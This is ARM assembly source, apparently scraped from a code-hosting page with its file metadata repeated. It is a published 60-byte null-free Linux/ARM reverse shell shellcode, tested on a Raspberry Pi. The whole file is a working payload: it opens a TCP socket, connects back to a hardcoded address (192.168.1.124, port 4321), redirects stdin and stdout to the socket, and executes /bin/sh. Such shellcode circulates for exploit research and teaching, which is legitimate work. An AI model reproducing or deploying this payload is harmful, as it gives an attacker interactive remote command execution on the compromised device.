52 lines
No EOL
1.3 KiB
ArmAsm
52 lines
No EOL
1.3 KiB
ArmAsm
/*
|
|
* Title: Linux/ARM - Reverse_Shell Shellcode TCP (/bin/sh). Null free shellcode (60 bytes)
|
|
*Reverse shellcode for ARM 60 bytes-shortest ever till the date of creation
|
|
* Date: 2019-01-27
|
|
* Tested: armv7l (Raspberry Pi b3+)
|
|
* Author: Gokul Babu-https://www.linkedin.com/in/gokul-babu-452b3b112/
|
|
*/
|
|
|
|
/*socket 281, domain=2,type=1,protocol=0*/
|
|
/*connect 283,sockfd=resultant vaule r0=3,*addr=AF_inet+port+ip,addrlen=16bytes*/
|
|
/*dup2 63,oldfd=sockfd, newfd=0-stdin,1-stout,2-stderr*/
|
|
/*execve 11, *command="/bin/sh",0,0"*/
|
|
.section .text
|
|
.global _start
|
|
_start:
|
|
.ARM
|
|
add r3,pc,#1
|
|
bx r3
|
|
.THUMB
|
|
//socket:
|
|
mov r0,#2
|
|
mov r1,#1
|
|
mov r7,#200
|
|
add r7,#81
|
|
svc #1
|
|
push {r0,r1,r2} /*store all values r0=3,r1=1,r2=0*/
|
|
//connect:
|
|
adr r1,exc+8 /*pointing to AF_Inet+PORT+IP*/
|
|
strb r2,[r1,#1]
|
|
mov r2,#16
|
|
add r7,#2
|
|
svc #1
|
|
//dup2:
|
|
//dup2(3,2)/*No need of stderr, program works fine without stderr*/
|
|
pop {r0,r1,r2} /*Restoring all values as the values would have been changed after connect call*/
|
|
mov r7,#63
|
|
//dup2(3,1)
|
|
svc #1
|
|
//dup2(3,0) -> but gets changed to dup2(1,0)-see strace debug file for reference
|
|
sub r1,#1
|
|
svc #1
|
|
//execve:
|
|
adr r0,exc
|
|
strb r1,[r0,#7]
|
|
mov r7,#11
|
|
svc #1
|
|
exc:
|
|
.ascii "/bin/shX"
|
|
//struct:
|
|
.ascii "\x02\xff"
|
|
.ascii "\x10\xE1" //port 4321
|
|
.byte 192,168,1,124 //IP |